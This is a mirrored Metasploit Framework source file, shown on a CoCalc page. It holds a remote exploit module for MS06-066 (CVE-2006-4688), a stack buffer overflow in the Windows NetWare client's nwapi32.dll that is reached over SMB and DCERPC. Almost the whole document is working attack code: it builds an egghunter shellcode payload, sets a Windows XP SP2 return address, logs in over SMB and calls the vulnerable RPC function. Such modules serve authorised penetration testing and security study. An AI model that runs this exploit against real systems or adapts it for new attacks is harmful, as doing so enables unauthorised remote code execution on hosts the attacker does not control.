Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/smb/ms06_066_nwapi.rb
19591 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::Egghunter
10
include Msf::Exploit::Remote::DCERPC
11
include Msf::Exploit::Remote::SMB::Client
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'MS06-066 Microsoft Services nwapi32.dll Module Exploit',
18
'Description' => %q{
19
This module exploits a stack buffer overflow in the svchost service when the netware
20
client service is running. This specific vulnerability is in the nwapi32.dll module.
21
},
22
'Author' => [ 'pusscat' ],
23
'License' => MSF_LICENSE,
24
'References' => [
25
[ 'CVE', '2006-4688'],
26
[ 'OSVDB', '30260'],
27
[ 'BID', '21023'],
28
[ 'MSB', 'MS06-066'],
29
30
],
31
'DefaultOptions' => {
32
'EXITFUNC' => 'thread',
33
},
34
'Privileged' => true,
35
'Payload' => {
36
'Space' => 296,
37
'BadChars' => "",
38
'Compat' =>
39
{
40
# -ws2ord XXX?
41
},
42
'StackAdjustment' => -3500,
43
},
44
'Platform' => 'win',
45
'Targets' => [
46
[
47
'Windows XP SP2',
48
{
49
'Ret' => 0x00EBEEEC,
50
},
51
]
52
],
53
'DefaultTarget' => 0,
54
'DisclosureDate' => '2006-11-14',
55
'Notes' => {
56
'Reliability' => UNKNOWN_RELIABILITY,
57
'Stability' => UNKNOWN_STABILITY,
58
'SideEffects' => UNKNOWN_SIDE_EFFECTS
59
}
60
)
61
)
62
63
register_options(
64
[
65
OptString.new('SMBPIPE', [ true, "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'srvsvc']),
66
]
67
)
68
end
69
70
def exploit
71
# [in] [unique] wchar *
72
# [in] wchar *
73
# [in, out] long
74
# [out] handle
75
76
# Generate the egghunter payload
77
hunter = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
78
egg = hunter[1]
79
# print_status("Today, we'll be hunting for 0x#{egg.unpack("V")[0]}")
80
81
# Add giant blocks of guard data before and after the egg
82
eggdata =
83
rand_text(1024) +
84
egg +
85
rand_text(1024)
86
87
buflen = 295
88
ofstring = Rex::Text.to_unicode('\\\\') + "\x90" + hunter[0] + rand_text(buflen - hunter[0].length) +
89
[ target.ret ].pack('V') + "\x00"
90
# ofstring = Rex::Text.to_unicode('\\\\') + payload.encoded + [ target.ret ].pack('V') + "\x00\x00"
91
92
stubdata =
93
NDR.long(rand(0xffffffff)) +
94
NDR.UnicodeConformantVaryingString("\\\\BBBB") +
95
NDR.UnicodeConformantVaryingStringPreBuilt(ofstring) + # HERE!
96
# NDR.UnicodeConformantVaryingString('\\\\' + "A"*1024 + "\x00") +
97
NDR.long(rand(0xffffffff)) +
98
NDR.long(rand(0xffffffff)) +
99
# NDR.long((ofstring.length * 2) + 0xC) +
100
eggdata
101
102
print_status("Connecting to the SMB service...")
103
connect()
104
smb_login()
105
106
handle = dcerpc_handle('e67ab081-9844-3521-9d32-834f038001c0', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
107
print_status("Binding to #{handle} ...")
108
dcerpc_bind(handle)
109
print_status("Bound to #{handle} ...")
110
111
print_status("Calling the vulnerable function...")
112
113
begin
114
dcerpc.call(0x09, stubdata)
115
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
116
print_status('Server did not respond, this is expected')
117
rescue => e
118
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
119
print_status('Server disconnected, this is expected')
120
else
121
raise e
122
end
123
else
124
print_status("Got #{dcerpc.last_response.stub_data.length} bytes: #{dcerpc.last_response.stub_data}")
125
end
126
127
# Cleanup
128
handler
129
disconnect
130
131
if (dcerpc.last_response != nil and
132
dcerpc.last_response.stub_data != nil and
133
dcerpc.last_response.stub_data == "\x04\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00")
134
return true
135
else
136
return false
137
end
138
end
139
end
140
141